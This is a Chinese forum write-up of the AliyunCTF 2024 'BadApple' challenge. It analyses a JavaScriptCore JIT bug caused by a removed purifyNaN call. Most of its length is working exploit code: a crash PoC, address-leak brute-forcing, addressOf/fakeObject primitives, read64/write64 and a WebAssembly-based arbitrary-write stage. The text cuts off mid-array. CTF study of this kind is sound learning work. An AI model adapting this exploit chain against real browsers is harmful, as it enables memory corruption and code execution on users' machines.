首页
社区
课程
招聘
[原创] AliyunCTF 2024 - BadApple
发表于: 2024-4-11 23:48 2362

[原创] AliyunCTF 2024 - BadApple

2024-4-11 23:48
2362

@

目录

前言

依稀记得那晚被阿里CTF支配的恐惧,今年的阿里CTF笔者就做了一道签到PWN题,当时也是下定决心要学习 jsc pwn 然后复现这道 BadApple 题目

这个题目重新引入了一个 CVE,其实出题人已经白给了,因为出题人后面直接把当时漏洞发现者的演讲视频给了,然后通过视频可以找到解析文章,漏洞原理分析、poc 基本都有了,但是当时笔者太菜了(虽然现在也很菜),还是没有搞出来,经过这两天对 JSC 漏洞利用的研究,打算把这道题目复现了

注:如果读者想了解更多关于该漏洞的一些背景,请读者直接移步到参考文章,参考文章写的非常详细,对漏洞原理的分析也非常到位,本文更多的是记录如何从一个漏洞的 patch 一层一层的找到触发该漏洞的逻辑,而且写利用时也会遇到很多坑,笔者也详细做了记录

环境搭建

1
2
3
git checkout WebKit-7618.1.15.14.7
git apply ../BadApple.diff
Tools/Scripts/build-webkit --jsc-only --release

漏洞分析

patch 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
index f2b51cf1213a..fd84ab644117 100644
--- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
+++ b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
@@ -4307,7 +4307,7 @@ void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType
     }
      
     if (format == DataFormatJS) {
-        purifyNaN(resultReg);
+        // purifyNaN(resultReg);
         boxDouble(resultReg, resultRegs);
         jsValueResult(resultRegs, node);
     } else {
diff --git a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
index f4e0bf891a61..6acea11bd819 100644
--- a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
+++ b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
@@ -15292,7 +15292,7 @@ IGNORE_CLANG_WARNINGS_END
             else
                 genericResult = strictInt52ToJSValue(m_out.zeroExt(genericResult, Int64));
         } else if (genericResult->type() == Double)
-            genericResult = boxDouble(purifyNaN(genericResult));
+            genericResult = boxDouble(genericResult);
  
         results.append(m_out.anchor(genericResult));
         m_out.jump(continuation);
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index f85c7db6bfbe..6af45c3e477e 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -616,6 +616,9 @@ private:
  
         Base::finishCreation(vm);
         JSC_TO_STRING_TAG_WITHOUT_TRANSITION();
+   // addFunction(vm, "describe"_s, functionDescribe, 1);
+   // addFunction(vm, "print"_s, functionPrintStdOut, 1);
+   return;
  
         addFunction(vm, "atob"_s, functionAtob, 1);
         addFunction(vm, "btoa"_s, functionBtoa, 1);

这里 DFGFTL 中的两处漏洞都可以单独进行利用,所以这里仅仅看 DFG 中的漏洞,其补丁打在了 SpeculativeJIT::compileGetByValOnFloatTypedArray 函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
    ASSERT(isFloat(type));
     
    SpeculateCellOperand base(this, m_graph.varArgChild(node, 0));
    SpeculateStrictInt32Operand property(this, m_graph.varArgChild(node, 1));
    StorageOperand storage(this, m_graph.varArgChild(node, 2));
    GPRTemporary scratch(this);
    FPRTemporary result(this);
 
    GPRReg baseReg = base.gpr();
    GPRReg propertyReg = property.gpr();
    GPRReg storageReg = storage.gpr();
    GPRReg scratchGPR = scratch.gpr();
    FPRReg resultReg = result.fpr();
 
    std::optional<GPRTemporary> scratch2;
    GPRReg scratch2GPR = InvalidGPRReg;
#if USE(JSVALUE64)
    if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
        scratch2.emplace(this);
        scratch2GPR = scratch2->gpr();
    }
#endif
 
    JSValueRegs resultRegs;
    DataFormat format;
    std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);
 
    emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR, scratch2GPR);
    switch (elementSize(type)) {
    case 4:
        loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg);
        convertFloatToDouble(resultReg, resultReg);
        break;
    case 8: {
    //  【1】
        loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg);
        break;
    }
    default:
        RELEASE_ASSERT_NOT_REACHED();
    }
     
    if (format == DataFormatJS) {
    //  【2】
    //    purifyNaN(resultReg);
        boxDouble(resultReg, resultRegs);
        jsValueResult(resultRegs, node);
    } else {
        ASSERT(format == DataFormatDouble);
        doubleResult(resultReg, node);
    }
}

compileGetByValOnFloatTypedArray 函数顾名思义,其是用来优化 GetByValOnFloatTypedArray 操作的,比如如下代码:

1
2
let f64 = new Float64Array(10);
let val = f64[0];

对于 f64[0]DFG 阶段会调用 compileGetByValOnFloatTypedArray 对其进行优化,这里的 f64Float64Array ,所以元素大小是 8 字节,其会走到 【1】 处,loadDouble 会根据索引从数组中加载相应的值到 resultReg 中。然后会走到后面的 if-else 处,如果 format == DataFormatJS 则会走到漏洞分支处,可以看到这里直接对 resultReg 进行了 box 处理,即将其转换为 JSValue

这里 format == DataFormatJS 表示优化编译器认为这个值在后面被会作为 JSValue 使用,所以会走 if 分支调用 boxDouble 将其转换为一个 JSValue,否则认为后面会直接使用原始值,所以会走 else 分支不做 box 处理

可以看到,patch 主要就是注释掉了 purifyNaN(resultReg); 从而引入了漏洞,来看下 pyrifyNaN 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Returns some kind of pure NaN.
inline double pureNaN()
{
    return bitwise_cast<double>(0x7ff8000000000000ll);
}
 
#define PNaN (pureNaN())
 
inline bool isImpureNaN(double value)
{
    return bitwise_cast<uint64_t>(value) >= 0xfffe000000000000llu;
}
 
// If the given value is NaN then return a NaN that is known to be pure.
inline double purifyNaN(double value)
{
    if (value != value)
        return PNaN;
    return value;

可以看到这里函数的功能就跟其名称一样: purify NaN,在 JSC 中,其认为 0x7ff8000000000000ll 是一个 pure NaN。所以这里的意思就是如果数组中的值是 NaN,则统一使用 pure NaN,后面简称 PNaN

为啥要统一使用 PNaN?这里先来看下 boxDouble

boxDouble 的实现有好多个,可以根据参数类型进行判断具体的调用的哪一个实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters)
{
    boxDouble(fpr, regs.gpr(), mode);
}
 
GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
{
    //  【1】
    moveDoubleTo64(fpr, gpr);
    if (mode == DoNotHaveTagRegisters)
        sub64(TrustedImm64(JSValue::NumberTag), gpr);
    else {
        // 【2】
        sub64(GPRInfo::numberTagRegister, gpr);
        jitAssertIsJSDouble(gpr);
    }
    return gpr;
}

所以之前的函数走的是 【2】 分支,这里首先将 fpr 赋值给了 gpr,然后执行 sub64(GPRInfo::numberTagRegister, gpr);gpr = gpr - GPRInfo::numberTagRegister,这里跟踪一下:

1
static constexpr GPRReg numberTagRegister = X86Registers::r14;

所以这里 GPRInfo::numberTagRegister 对于的是虚拟寄存器 r14,行那么问题来了?r14 在实际运行时到底是多少呢?这里还是不知道,所以我们还是根据 GPRInfo::numberTagRegister 的名称进行搜索:

1
2
3
// If all bits in the mask are set, this indicates an integer number,
// if any but not all are set this value is a double precision number.
static constexpr int64_t NumberTag = 0xfffe000000000000ll;

最后找到了一个比较相关的,其值为 0xfffe000000000000ll,其实可以发现其就是 integer JSValuemask,所以这里我们可以认为其就是 gpr = gpr - 0xfffe000000000000ll,但是似乎也不对啊,double JSValue 应该是 gpr = gpr + 0x0002000000000000ll 才对啊,别急:

1
2
3
4
5
gpr = gpr-0xfffe000000000000ll
    = gpr-0xfffe000000000000ll-0x0002000000000000ll+0x0002000000000000ll
    = gpr-(0xfffe000000000000ll+0x0002000000000000ll)+0x0002000000000000ll
    = gpr-0x1_0000000000000000[发生溢出]+0x0002000000000000ll
    = gpr+0x0002000000000000ll

所以其是等效的,这里的效果就是 gpr = gpr + 0x0002000000000000ll,行,接下来我们在梳理一下程序的流程:

1
2
3
4
f64[0]
    ==>  resultReg = loadDouble
if format == DataFormatJS is true   ==>  resultReg + 0x0002000000000000ll
                                        ==>  return

这里其实漏洞就很明显了,如果 resuleReg = 0xfffe_????_????_????,那么此时就会发生溢出:

1
2
resultReg + 0x0002000000000000ll = 0xfffe_????_????_???? + 0x0002000000000000ll
                                 = 0x0000_????_????_????

0x0000_????_????_???? 会被当作一个指针,所以就获得了一个 fakeObject 原语。那么这里 resuleReg 可以为 0xfffe_?...? 吗?答案是可以的,比如如下代码:

1
2
3
4
let f64 = new Float64Array(10);
let u64 = new BigUint64Array(f64);
u64[0] = 0xfffe_0000_0000_1111n;
let val = f64[0];

这里我们顺便看下为啥加上 purifyNaN 就可以消除这个漏洞,我们知道 0xfffe_????_????_???? 对于 double 而言都是 NaN(其实只要指数域全部置位,尾数域不全为 0,表示的就是 NaN),所以对于此类值,我们都统一使用 PNaN = 0x7ff8000000000000ll,这时:

1
2
resultReg + 0x0002000000000000ll = 0x7ff8000000000000ll + 0x0002000000000000ll
                                 = 0x7ffa000000000000

可以看到这里就避免了溢出的发生

漏洞触发:
接下来就是关键的漏洞触发路径的探索了

通过上面的分析,我们知道想要触发漏洞,就要执行到:

1
2
3
4
void SpeculativeJIT::compileGetByValOnFloatTypedArray(
            Node* node,
            TypedArrayType type,
            const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)

并且要求最后执行 if 分支,即 format == DataFormatJS 得成立,而 format 被赋值的语句如下:

1
2
3
4
5
6
7
void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
 ......
    JSValueRegs resultRegs;
    DataFormat format;
    std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);
......

可以看到 format 的值为 compileGetByValOnFloatTypedArray 的第三个参数 prefix(其是一个 lambda 函数) 返回值 tuple 的第二个值。所以这里目标就很清楚了:

  • 调用 compileGetByValOnFloatTypedArray 函数
  • 传入的第三个参数 prefix 执行后返回值 tuple 的第二个元素为 DataFormatJS

先看下有哪些函数调用 compileGetByValOnFloatTypedArray,经过搜索,笔者仅在如下路径中找到调用:

1
2
Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compileGetByVal
Source\JavaScriptCore\dfg\DFGSpeculativeJIT32_64.cpp ⇒ SpeculativeJIT::compileGetByVal

然后看 DFGSpeculativeJIT32_64.cp 似乎没用了?这里看下 DFGSpeculativeJIT64.cpp 下的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
    switch (node->arrayMode().type()) {
   ......
    case Array::Float32Array:
    case Array::Float64Array: {
        TypedArrayType type = node->arrayMode().typedArrayType();
        if (isInt(type))
            compileGetByValOnIntTypedArray(node, type, prefix);
        else
            compileGetByValOnFloatTypedArray(node, type, prefix);
    } }
}

这里继续跟踪 compileGetByVal 的引用,看看谁调用了它,最后找到如下调用:

1
2
3
// DFGSpeculativeJIT32_64.cpp 下的是一样的,就不多说了
Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compile
Source\JavaScriptCore\dfg\DFGSpeculativeJIT.cpp ⇒ SpeculativeJIT::compileEnumeratorGetByVal

这里先来看下 SpeculativeJIT::compile 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void SpeculativeJIT::compile(Node* node)
{
    NodeType op = node->op();
......
    switch (op) {
   ......
    case GetByVal: {
        JSValueRegsTemporary result;
        compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>([&] (DataFormat preferredFormat) {
            JSValueRegs resultRegs;
            switch (preferredFormat) {
            case DataFormatDouble:
                break;
            default: {
                result = JSValueRegsTemporary(this);
                resultRegs = result.regs();
                break;
            }
            };
            return std::tuple { resultRegs, preferredFormat, CanUseFlush::Yes };
        }));
        break;
    }

这里我并没有在外部找到 preferredFormat 的定义,所以这里 lambda 函数返回的 tuple 的第二个元素似乎不确定,所以这条路径暂时放弃

然后再来看下 SpeculativeJIT::compileEnumeratorGetByVal 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{
    Edge baseEdge = m_graph.varArgChild(node, 0);
    auto generate = [&] (JSValueRegs baseRegs) {
      ......
        compileGetByVal(node,
            scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) {
       
           ......
            return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };
        }));
       ......
    };
......
}

可以到这里 lambda 函数返回的 tuple 的第二个元素恒为 DataFormatJS,这时符合条件的,并且由于其固定为 DataFormatJS,对漏洞利用的稳定性也有很大的帮助

说实话,感觉是真的巧,巧合就有这么一个函数,巧合其返回的就是 DataFormatJS,差一个环节,这个漏洞的利用都会显得非常困难

所以最后我们需要执行到 compileEnumeratorGetByVal 逻辑即可,而跟踪可以知道,其会在 SpeculativeJIT::compile 中被调用:

1
2
3
4
5
6
7
8
9
10
11
void SpeculativeJIT::compile(Node* node)
{
    NodeType op = node->op();
......
    switch (op) {
    ......
        case EnumeratorGetByVal: {
        compileEnumeratorGetByVal(node);
        break;
    }
    ......

根据 case 可以知道,其是处理 EnumeratorGetByVal 操作的,并且这里基本上就到了优化编译路径的顶层了

1
2
3
4
5
6
7
8
9
void SpeculativeJIT::compileCurrentBlock()
{
    ASSERT(m_compileOkay);
......
    for (m_indexInBlock = 0; m_indexInBlock < m_block->size(); ++m_indexInBlock) {
        m_currentNode = m_block->at(m_indexInBlock);
        ......
        compile(m_currentNode);
        ......

接下来就是要看看 EnumeratorGetByVal 对应的操作是什么,这里结合 chatGPT 食用:

JavaScriptCore 中,EnumeratorGetByVal 是一个函数,用于在枚举对象的属性时获取指定键的值。

当使用 for...in 语句或 Object.keys() 等方法枚举对象的属性时,JavaScriptCore 使用 EnumeratorGetByVal 函数来获取每个属性的值。

这里不禁让我想到了 V8for-in 的实现,for-in 其实是一个非常耗时的语句,不同的引擎针对 for-in 的实现都做了不同的优化,在 V8 中,其主要就是通过 enum cache 去加速 for-in 语句的属性查找,之前分析过的 V8 中关于 enum cache 的漏洞就是 enum cache 在对象类型改变时没有及时更新从而导致越界,感兴趣的读者可以参考之前笔者的文章

还是回到 JSC 中来,笔者并没用找到 JSC 中关于 for-in 的实现资料,关于源码.....嗯,笔者暂时没打算直接读源码,因为笔者现在还在对 JSC 的整个编译流程做总结,还没用打算深入源码,毕竟还得慢慢来,一口不能吃成一个大胖子

但是到这里我们就可以尝试写 poc 了,我们只需要知道 for-in 中利用 key 获取属性值时会走到漏洞逻辑进行了,考虑如下 poc:由于对 JSC 的一些编译管道不是很熟悉,所以 poc 写了很久都没写出来,最后直接看官方 poc 吧......

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
let abuf = new ArrayBuffer(8);
let lbuf = new BigUint64Array(abuf);
let fbuf = new Float64Array(abuf);
 
obj = {other:1};
function trigger(arg, t) {
        for (let i in obj) {
                obj = [0];
                t.x = arg[i];
        }
}
 
t = {x: {}};
trigger(obj, t);
for (let i = 0 ; i < 0x1000; i++) {
        trigger(fbuf,t);
}
 
lbuf[0] = 0xfffe0000_00000001n;
trigger(fbuf, t);
t.x;

调试程序 crash
在这里插入图片描述
可以看到程序 crash 的原因是内存读写错误,因为此时的 r13 = 1 是一个无效地址

漏洞利用

现在我们已经获得了一个 fakeObject 原语,接下来就是去考虑该如何进行利用了......说实话,我还真不知道咋利用,毕竟没有 addressOf 原语就没办法泄漏相关对象的地址,从而无法去伪造合法的对象,所以这里得想办法泄漏对象地址

这里参考文章中给出了一种方案,这里不细说,具体请参考参考文章,简单来说就是当 === 操作被优化后,其直接使用 cmp 指令进行比较,那么我们可以利用一个有效指针和无效指针进行比较从而爆破对象地址

笔者在写 exp 的时候遇到了很多问题,而这些问题在参考文章中都没有说明,所以笔者带着大家去解决这些问题:

  • 1、防止 GC 发生,由于存在对一些非法对象的引用,如果触发 GC 则会导致 crash
  • 2、防止循环爆破地址的过程中发生一些优化,否则会导致程序 crash,因为优化时会对对象进行检查
  • 3、还有一些其它问题,我也说不明白是什么问题

首先说明下,在 ubu20.04 上,我发现对象的低 24 比特似乎是固定的:不知道是不是平台的原因,还是是其跟 V8 有差不多的特性?
在这里插入图片描述

接下来就跟着笔者去碰一碰利用过程中遇到的问题吧,第一版爆破对象地址的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
var abuf = new ArrayBuffer(8);
var lbuf = new BigUint64Array(abuf);
var fbuf = new Float64Array(abuf);
 
var t = {x: {}};
var obj = {x:1234, y:1234};
var obj_to_leak = { p1: 1337, p2: 1337 };
function trigger(arg, a2) {
    for (let i in obj) {
        obj = [1];
        let out = arg[i];
        a2.x = out;
    }
}
 
function compare_obj(pointer, target_obj) {
        return pointer.x === target_obj;
}
 
function fakeObject(addr) {
        lbuf[0] = 0xfffe_0000_0000_0000n + addr;
        trigger(fbuf, t);
}
 
trigger(obj, t);
trigger(t, obj_to_leak);
 
for (let i = 0 ; i < 0x1000; i++) {
        trigger(fbuf,t);
}
 
for (let i = 0; i < 0x10000; i++) {
        compare_obj(t, obj_to_leak);
}
 
debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
        print(i);
        addr = 0x7f0000500180n + i*0x1000000n;
        fakeObject(addr);
        let res = compare_obj(t, obj_to_leak);
        if (res) {
                print("Success");
                break
        }
}
debug(describe(obj_to_leak));
print("addr: 0x"+addr.toString(16));

运行直接 crash
在这里插入图片描述
调试看看是哪里出了问题:
在这里插入图片描述
可以看到这里的 rdi 就是我们进行爆破的地址,现在其是一个无效的地址,所以这里 [rdi+0x5] 发生了内存访问错误,看调用栈可以知道其发生在如下调用逻辑:

1
2
3
4
[#0] 0x7ffff6616dfb → JSC::speculationFromCell(JSC::JSCell*)()
[#1] 0x7ffff65f7655 → JSC::CompressedLazyValueProfileHolder::computeUpdatedPredictions(JSC::ConcurrentJSLocker const&, JSC::CodeBlock*)()
[#2] 0x7ffff65936bc → JSC::CodeBlock::updateAllPredictions()()
[#3] 0x7ffff6f6e71d → operationOptimize()

而且通过 rdi 的值可以知道其是在爆破的过程中发生了,所以这里应该是在爆破的过程中发生了优化,其实大概就可以猜测是因为某个操作循环了多次导致的,这里读者可以大概去看一下 operationOptimize 函数(其实也不用看),然后就可以知道 updateAllPredictions 函数用来更新预测信息的(其实根据函数名也知道)

所以接下来就是去找出是哪里发生了优化,这里基本也是连猜带懵(其实这里可以主要到其明显与伪造对象有关,而结合源代码,基本上就可以知道是哪里出现了问题),当然这里笔者也没搞懂底层的根本原因,所以就不多说了,直接看代码

这里笔者写出了第二版泄漏代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
var abuf = new ArrayBuffer(8);
var lbuf = new BigUint64Array(abuf);
var fbuf = new Float64Array(abuf);
 
var t = {x: {}};
var obj = {x:1234, y:1234};
var obj_to_leak = { p1: 1337, p2: 1337 };
function trigger(arg, a2) {
    for (let i in obj) {
        obj = [1];
        let out = arg[i];
        a2.x = out;
    }
}
 
function compare_obj(pointer, target_obj) {
        return pointer.x === target_obj;
}
 
function fakeObject(addr) {
        lbuf[0] = 0xfffe_0000_0000_0000n + addr;
        trigger(fbuf, t);
}
 
trigger(obj, t);
trigger(t, obj_to_leak);
 
for (let i = 0 ; i < 0x1000; i++) {
        trigger(fbuf,t);
}
 
lbuf[0] = 0xfffe0000_22222222n;
for (let i = 0; i < 0x1000; i++) {
        trigger(fbuf, t);
}
 
for (let i = 0; i < 0x10000; i++) {
        compare_obj(t, obj_to_leak);
}
 
debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
        print(i);
        addr = 0x7f0000500180n + i*0x1000000n;
        fakeObject(addr);
        let res = compare_obj(t, obj_to_leak);
        if (res) {
                print("Success");
                break
        }
}
debug(describe(obj_to_leak));
print("addr: 0x"+addr.toString(16));

笔者增加了如下代码去提前进行相关优化:你若问我为什么,我也不知道,就是瞎调,然后连猜带懵的...

1
2
3
4
lbuf[0] = 0xfffe0000_22222222n;
for (let i = 0; i < 0x1000; i++) {
        trigger(fbuf, t);
}

为什么选择 0xfffe0000_22222222n 呢?因为笔者测试发现如果你把原始 poc 中的 0xfffe0000_00000001n 换成0xfffe0000_22222222n ,程序不会崩溃,当然还有一些其它值也不会崩溃,比如 0xfffe0000_00000002n、0xfffe0000_00000006n 等等,这里 2 表示的是 Null6 表示的是 false,所以其不会崩溃自然可以理解

运行结果如下:
在这里插入图片描述
虽然还是崩溃了,但是可以看到现在可以执行的更远了,这里是执行到了 19565,而上面仅仅执行到了 159,还是调试分析下:
在这里插入图片描述
可以看到这里的崩溃原因与第一版的并不一样,并且这版运行的更远,说明上一个版本的问题我们已经成功解决了。但是这个问题,笔者并没有很好的解决,因为笔者感觉是 gc 的问题,所以多跑几次吧.......悲
在这里插入图片描述
如果读者针对该问题有比较好的解决方案,欢迎交流~~~

泄漏了对象地址后,其实就比较简单了,直接套模板就行了,exp 其实可以简化的,但是不想改了,因为 obj_to_leak 对象的地址的低 24 比特随着代码而改变,增加一行代码或减少一行代码都有可能使得其地址低 24 比特被改变,如果存在像 V8 那样的通用堆喷就好了~~~

exploit 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
 
function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}
 
function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}
 
 
function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}
 
function set_u64(val) {
        u64[0] = val;
}
 
function set_l(l) {
        u32[0] = l;
}
 
function set_h(h) {
        u32[1] = h;
}
 
function get_l() {
        return u32[0];
}
 
function get_h() {
        return u32[1];
}
 
function get_u64() {
        return u64[0];
}
 
function get_f64() {
        return f64[0];
}
 
function get_fl(val) {
        f64[0] = val;
        return u32[0];
}
 
function get_fh(val) {
        f64[0] = val;
        return u32[1];
}
 
function hexx(str, val) {
        print(str+": 0x"+val.toString(16));
}
 
function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}
 
var abuf = new ArrayBuffer(8);
var fbuf = new Float64Array(abuf);
var lbuf = new BigUint64Array(abuf);
 
var arrs = new Array(0x20).fill({});
for (let i = 0; i < 0x20; i++) {
        arrs[i] = { x: 1337, y: 1337 };
};
var t = { x: 1337, y:  1337};
var obj = { x: 1337, y: 1337 };
var obj_to_leak = { x: 1337, y: 1337 };
var header = { x: 1337, y: 1337 };
var butterfly = { x: 200, y: 1337 };
var addressOf_obj = { x: 1337, y: 1337 };
 
function trigger(arr, a2) {
        for (let i in obj) {
                obj = [1];
                let out = arr[i];
                a2.y = out;
        }
}
 
function fakeObject(addr, a2) {
        lbuf[0] = 0xfffe_0000_0000_0000n + addr;
        trigger(fbuf, a2);
}
 
function compare_obj(pointer, target_obj) {
        return pointer.y === target_obj;
}
 
trigger(obj, t);
compare_obj(t, obj_to_leak);
 
for (let i = 0; i < 0x30000; i++) {
        trigger(fbuf, t);
}
 
lbuf[0] = 0xfffe0000_22222222n;;
for (let i = 0; i < 0x1000; i++) {
        trigger(fbuf, t);
}
 
for (let i = 0; i < 0x10000; i++) {
        compare_obj(t, obj_to_leak);
}
 
print("==> Go");
//debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
        addr = 0x7fffff50c580n - i*0x1000000n;
//      print(i);
//      hexx("addr", addr);
        fakeObject(addr, t);
        let res = compare_obj(t, obj_to_leak);
        if (res) {
                hexx("addr", addr);
                break;
        }
}
 
obj_to_leak.x = u64_to_f64(0x0108230700000000n-0x2000000000000n);
fakeObject(0x2000000020n, header);
obj_to_leak.y = butterfly;
 
fakeObject(addr+0x10n, t);
var fake_object = t.y;
 
//debug(describe(obj_to_leak));
//debug(describe(header));
//debug(describe(butterfly));
//debug(describe(addressOf_obj));
 
function addressOf(obj) {
        butterfly.x = obj;
        return f64_to_u64(fake_object[2]);
}
 
print("==> End");
hexx("test", addressOf(addressOf_obj));
 
function fakeObject_better(addr) {
        fake_object[2] =  u64_to_f64(addr);
        return butterfly.x;
}
 
function leakStructureID(obj) {
        let container = {
                jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),
                butterfly: obj
        };
 
        let fake_object_addr = addressOf(container) + 0x10n;
        let leak_fake_object = fakeObject_better(fake_object_addr);
        let num = f64_to_u64(leak_fake_object[0]);
 
        let structureID = num & 0xffffffffn;
        container.jscell = f64[0];
        return structureID;
}
 
var noCOW = 1.1;
var arrs = [];
for (let i = 0; i < 100; i++) {
        arrs.push([noCOW]);
}
var ID = [noCOW];
 
//debug(describe(ID));
var structureID = leakStructureID(ID);
hexx("structureID", structureID);
 
var victim = [noCOW, 1.1, 2.2];
victim['prop'] = 3.3;
victim['brob'] = 4.4;
 
var container = {
        jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),
        butterfly: victim
};
 
var container_addr = addressOf(container);
var driver_addr = container_addr + 0x10n;
var driver = fakeObject_better(driver_addr);
 
//debug(describe(victim));
//debug(describe(driver));
 
var unboxed = [noCOW, 1.1, 2.2];
var boxed = [{}];
 
driver[1] = unboxed;
var sharedButterfly = victim[1];
hexx("sharedButterfly", f64_to_u64(sharedButterfly));
//debug(describe(unboxed));
 
driver[1] = boxed;
victim[1] = sharedButterfly;
 
function new_addressOf(obj) {
        boxed[0] = obj;
        return f64_to_u64(unboxed[0]);
}
 
function new_fakeObject(addr) {
        unboxed[0] = u64_to_f64(addr);
        return boxed[0];
}
 
function read64(addr) {
        driver[1] = new_fakeObject(addr + 0x10n);
        return new_addressOf(victim.prop);
}
 
function write64(addr, val) {
        driver[1] = new_fakeObject(addr + 0x10n);
        victim.prop = u64_to_f64(val);;
}
 
function ByteToDwordArray(payload) {
        let sc = [];
        let tmp = [];
        let len = Math.ceil(payload.length / 6);
        for (let i = 0; i < len; i += 1) {
                tmp = 0n;
                pow = 1n;
                for(let j = 0; j < 6; j++){
                        let c = payload[i*6+j]
                        if(c === undefined) {
                                c = 0n;
                        }
                        pow = j==0 ? 1n : 256n * pow;
                        tmp += c * pow;
                }
                tmp += 0xc000000000000n;
                sc.push(tmp);
        }
        return sc;
}
 
function arb_write(addr, payload) {
        let sc = ByteToDwordArray(payload);
        for(let i = 0; i < sc.length; i++) {
                write64(addr, sc[i]);
                addr += 6n;
        }
}
 
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
